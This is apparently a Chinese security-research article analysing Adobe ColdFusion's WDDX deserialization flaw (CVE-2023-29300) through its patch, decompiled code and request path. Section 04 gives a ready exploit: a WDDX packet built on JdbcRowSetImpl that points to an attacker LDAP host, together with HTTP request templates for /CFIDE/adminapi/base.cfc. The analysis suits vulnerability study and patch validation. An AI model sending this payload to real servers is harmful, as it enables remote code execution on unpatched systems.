长亭百川云 - 文章详情

漏洞分析|Adobe ColdFusion 序列化漏洞(CVE-2023-29300)

GobySec

51

2024-07-14

Goby社区第 30 篇技术分享文章

全文共:8596 字   预计阅读时间:18 分钟

 01 概述

近期,Adobe ColdFusion 发布了多个安全更新,引起了我们的关注。Adobe ColdFusion 是一款基于 Java 的商业应用程序服务器,2023 年 7 月 13 日,ProjectDiscovery 发布了分析文章,我们通过研究 CVE-2023-29300 发现这其实是一个未公开且非常有趣的漏洞,此时官方尚未发布安全补丁,因此我们立即开始寻找新的利用方式。不久之后,ProjectDiscovery 意识到自己公布了 0day 漏洞,紧急删除了分析文章,并等待官方发布安全补丁,具体的时间可参考下文的漏洞时间线。

ProjectDiscovery 公布的利用方式受 JDK 小于 9 的限制,经过测试,这条已公开的 JNDI 利用链成功利用率为 0.6%。其中提到了关于 commons-beanutils 的利用链,经过我们的分析,实际上并不需要使用它,并且还存在其它的利用链。本文将从 ColdFusion 2023 发布版的 Update 1 安全更新内容入手,详细分析 CVE-2023-29300 的漏洞成因,并提出一些后续的研究方向。

**我们在 Goby 中已经集成了 CVE-2023-29300 漏洞的 JNDI 利用链(CVE-2023-38204),实现了命令执行回显和自定义 ldap 服务器地址的功能。**演示效果如下:

 02 漏洞环境

我们已经在 vulfocus 中集成了开箱即用的环境,版本为 Ubuntu 20.04 + JDK 8u60 + Apache Tomcat 9.0.78 + ColdFusion Release 2023.0.0.330468。拉取镜像:

docker pull vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release

启动环境:

docker run -d -P vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release

 03 漏洞分析

3.1 补丁分析

7 月 12 日,Adobe 发布了 ColdFusion (2023 release) Update 1 更新。将 patch 包反编译后的代码与更新前的代码进行比对,可以发现 coldfusion.wddx.DeserializerWorker#startElement() 方法中的明显变化:

新增的 validateWddxFilter() 方法如下。

`private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {`    `String attributeType = atts.getValue("type");`    `if (attributeType.endsWith(";")) {`        `attributeType = attributeType.replace(";", "");`    `}`    `if (attributeType.startsWith("L")) {`        `String attributeTypeCopy = attributeType;`        `validateBlockedClass(attributeTypeCopy.replaceFirst("L", ""));`    `}`    `validateBlockedClass(attributeType);``}``   ``private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {`    `if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {`        `throw new InvalidWddxPacketException();`    `}``}`

搜索相关文档可知,ColdFusion 实现了一种叫做 WDDX(Web Distributed Data Exchange,Web 分布式数据交换)的古老的 XML 技术。通过实现 WDDX,可以使变量(包括名称,数据类型和值)序列化成一个 XML 文档,应用程序可通过反序列化此 XML 文档,来重新建立这些变量。

3.2 WDDX 序列化

实现了 coldfusion.wddx.WddxObjectSerializer 接口的各个序列化器能够对数据进行 WDDX 序列化,如 StringSerializer,NumberSerializer,BeanSerializer 等等。我们尝试使用 BeanSerializer 对自定义的 Java Bean 进行序列化,调试过程中也可以看到对象类型与序列化器默认的映射关系。

输出的序列化结果格式如下。

`<wddxPacket version='1.0'>`    `<header/>`    `<data>`        `<struct type='LJavaBean;'>`            `<var name='age'>`                `<number>233.0</number>`            `</var>`            `<var name='name'>`                `<string>233</string>`            `</var>`        `</struct>`    `</data>``</wddxPacket>`

对应地,反序列化由 coldfusion.wddx.WddxDeserializer 类实现。对于 ColdFusion 来说,WDDX 中的每个元素都是一个 WddxElement,不同的元素对应着不同的 Handler 处理类,例如 标签中的元素与属性将由 StringHandler 处理, 标签会由 StructHandler 处理。其中我们关注 onStartElement() 和 onEndElement() 方法。

`public void onStartElement(String name, AttributeList attributes) throws WddxDeserializationException {`    `this.m_strictType = attributes.getValue("type");`    `//...``}`
`public void onEndElement() throws WddxDeserializationException {`    `if (this.m_strictType == null) {`        `// ...`    `} else {`        `Class beanClass = null;`        `Object bean = null;``   `        `try {`            `beanClass = getClassBySignature(this.m_strictType);`            `bean = beanClass.getDeclaredConstructor().newInstance();`            `this.setBeanProperties(bean, this.m_ht);`            `this.setTypeAndValue(bean);`        `} catch (Exception var6) {`            `// ...`        `}`    `}``}`

onStartElement() 和 onEndElement() 是 SAX 解析器(Simple API for XML)中的回调方法,分别在解析到 XML 元素的开始和结束标签时被调用。可以看到 标签的 type 属性将在 onStartElement() 方法中被赋值给变量 m_strictType。跟进 getClassBySignature() 方法。

`private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {`    `int index = 0;`    `char c = jniTypeSig.charAt(index);`    `String className;`    `switch (c) {`        `// ...`        `default:`            `className = jniTypeSig.substring(index + 1, jniTypeSig.length() - 1);`            `return Class.forName(className);`        `// ...`    `}``}`

很明显,这里首先会截掉 type 属性的前后两字符,然后将剩下的字符串视作类名,调用 Class.forName() 方法进行类加载,并紧接着在 onEndElement() 方法中调用其无参构造。接下来 StructHandler#setBeanProperties() 方法中存在明显的 Method#invoke() 操作,目的是调用目标对象的 setter 方法,为刚刚被实例化的对象属性赋值。由于代码片段较长,这里就不贴出了。

至此,我们可以得出结论:ColdFusion 的 WDDX 序列化与反序列化机制和 FastJson 很相似,都是基于目标对象的 getter 和 setter 方法,并在序列化和反序列化阶段自动调用。回头看安全更新的内容,如果没有过滤传入的 type 属性,那就类似于 FastJson 1.2.24 版本的情况,攻击者可以利用这个漏洞,实例化任意存在无参构造方法的类,并进一步调用其指定的 setter 方法,而且还可以控制参数。这无疑是存在漏洞利用的风险的。

3.3 参数传入分析

为了寻找传入序列化 payload 并触发反序列化的途径,我们在 Jadx 中全局搜索 WddxDeserializer#deserialize() 方法的引用,据此跟进 coldfusion.filter.FilterUtils#WDDXDeserialize()。

`public static Object WDDXDeserialize(String str) throws Throwable {`    `WddxDeserializer deserializer = new WddxDeserializer();`    `InputSource source = new InputSource(new StringReader(str));`    `return deserializer.deserialize(source);``}`

继续搜索 WDDXDeserialize() 的引用,跟进 FilterUtils#GetArgumentCollection()

`public static Map GetArgumentCollection(FusionContext context) throws Throwable {`    `ServletRequest request = context.request;`    `String attr = (String)context.pageContext.findAttribute("url.argumentCollection");`    `if (attr == null) {`        `attr = (String)context.pageContext.findAttribute("form.argumentCollection");`    `}``   `    `Struct argumentCollection;`    `if (attr == null) {`        `// ...`    `} else {`        `attr = attr.trim();`        `if (attr.charAt(0) == '{') {`            `// ...`        `} else {`            `argumentCollection = (Struct)WDDXDeserialize(attr);`        `}`    `}`    `// ...`    `return argumentCollection;``}`

分析 findAttribute() 方法可知,参数为 url.xxx 表示从请求的 URL 中获取 xxx 的参数值,form.yyy 表示从上传的表单中获取 yyy 的参数值。继续向上追溯,最终定位到 coldfusion.filter.ComponentFilter#invoke() 方法中。ComponentFilter 是一个继承了 FusionFilter 抽象类的过滤器,既然和过滤器扯上了关系,第一步肯定就是检查 web.xml 配置文件了。

`<servlet-mapping id="coldfusion_mapping_4">`    `<servlet-name>CFCServlet</servlet-name>`    `<url-pattern>*.cfc</url-pattern>``</servlet-mapping>`

可知解析 .cfc 页面的 Servlet 即 CFCServlet。跟进 CFCServlet 的 getCFCFilterChain() 方法。

`private FusionFilter getCFCFilterChain(ServletRequest request) {`  `FusionFilter filter = new ComponentFilter();`  `FusionFilter filter = new ApplicationFilter(filter, 3);`  `// ...`  `FusionFilter filter = new MonitoringFilter((FusionFilter)filter, "CFC REQUEST");`  `filter = new PathFilter(filter, this);`  `// ...`  `FusionFilter filter = new ExceptionFilter((FusionFilter)filter);`  `FusionFilter filter = new ClientScopePersistenceFilter(filter);`  `FusionFilter filter = new BrowserFilter(filter);`  `FusionFilter filter = new NoCacheFilter(filter);`  `boolean needsFormScope = true;`  `FusionFilter filter = new GlobalsFilter(filter, true);`  `FusionFilter filter = new DatasourceFilter(filter);`  `return filter;``}`

其返回的 Filter Chain 中正好包含有 ComponentFilter。需要注意的是,PathFilter 会检查访问的目标文件是否存在,因此我们不能访问一个服务器中不存在的 .cfc 文件。据此尝试构造如下数据包,一路跟进到 ComponentFilter#invoke() 方法:

`POST /CFIDE/adminapi/base.cfc HTTP/1.1``Host: 127.0.0.1:8080``User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8``Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2``Accept-Encoding: gzip, deflate``Connection: close``Content-Length: 365``Content-Type: application/x-www-form-urlencoded``   ``argumentCollection=/* payload */`

此处存在一个 if 判断,如果没有传入 method 参数的话就会提前返回 302,截断我们的攻击路径。因此我们还需要传递一个 method 参数。

`POST /CFIDE/adminapi/base.cfc?method HTTP/1.1``Host: 127.0.0.1:8080``User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0``Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8``Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2``Accept-Encoding: gzip, deflate``Connection: close``Content-Length: 365``Content-Type: application/x-www-form-urlencoded``   ``argumentCollection=/* payload */`

这样我们就能跳过 if,调用 GetArgumentCollection() 方法将序列化后的恶意数据传入服务器了。

 04 漏洞利用

因此,我们类比 FastJson,不难想到通过调用 JdbcRowSetImpl 类的 setDataSourceName 和 setAutoCommit 两个 setter 方法来构造 JNDI 利用链。此利用链被赋予 CVE 编号 CVE-2023-38204。

`<wddxPacket version='1.0'>`    `<header/>`    `<data>`        `<struct type='xcom.sun.rowset.JdbcRowSetImplx'>`            `<var name='dataSourceName'>`                `<string>ldap://attacker:1389/Evil</string>`            `</var>`            `<var name='autoCommit'>`                `<boolean value='true'/>`            `</var>`        `</struct>`    `</data>``</wddxPacket>`

我们注意到在 WEB-INF/bundles 及其子文件夹 repo 下还存有大量 Jar 包。在“存在即合理”的假设前提下,我们将所有 Jar 添加进了工作环境,在此基础上继续挖掘新的利用链,并成功实现了一种带有限制的新的利用方式。

 05 漏洞时间线

CVE-2023-29300

  • 2023.7.11 官方发布安全公告

  • 2023.7.12 ProjectDiscovery 分析文章发布,未意识到 0day 公布

  • 2023.7.13 ProjectDiscovery 隐藏分析文章

  • 2023.7.14 漏洞修复

CVE-2023-38204

  • 2023.7.13 漏洞披露(CVE-2023-29300 的具体利用链)

  • 2023.7.19 漏洞修复

  • 2023.7.19 ProjectDiscovery 开放分析文章

 06 总结

通过研究 CVE-2023-29300,我们了解了 Adobe ColdFusion 产品的基本工作原理,其不安全的 WDDX 序列化实现将产生可利用的漏洞。同时,我们详细分析了通过 argumentCollection 参数传入 payload 的完整调用路径,以及为何需要传入看似与利用无关的 method 参数。在此基础上,我们探索了利用的新方向,在这个过程中也踩了不少坑。阅读本篇文章后,大家在复现此漏洞以及在将来需要研究此产品时,就可以少走一些弯路了,后续有机会的话,会进一步分享研究成果。

 07 参考链接

https://blog.projectdiscovery.io/adobe-coldfusion-rce/https://helpx.adobe.com/coldfusion/kb/coldfusion-2023-update-1.html

https://helpx.adobe.com/sg/coldfusion/developing-applications/using-web-elements-and-external-objects/using-xml-and-wddx/moving-complex-data-across-the-web-with-wddx.html

最新 Goby 使用技巧分享**:**


• 14m3ta7k | 跨越语言的艺术:Weblogic序列化漏洞与IIOP协议

• 14m3ta7k | Weblogic CVE-2023-21931漏洞挖掘技技巧:后反序列化利用

 kv2 | 死磕RDP协议,从截图和暴破说起

• 14m3ta7k | 死磕Jenkins漏洞回显与利用效果

• 路人甲 | Metabase (CVE-2023-38646):H2 JDBC深入利用

更多 >>  技术分享

Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。

也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell /漏洞分析 等文章均可),审核通过后可奖励 Goby 红队版,快来加入微信群体验吧~~~

  • 微信群:公众号发暗号“加群”,参与积分商城、抽奖等众多有趣的活动

  • 获取版本:https://gobysec.net/sale

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2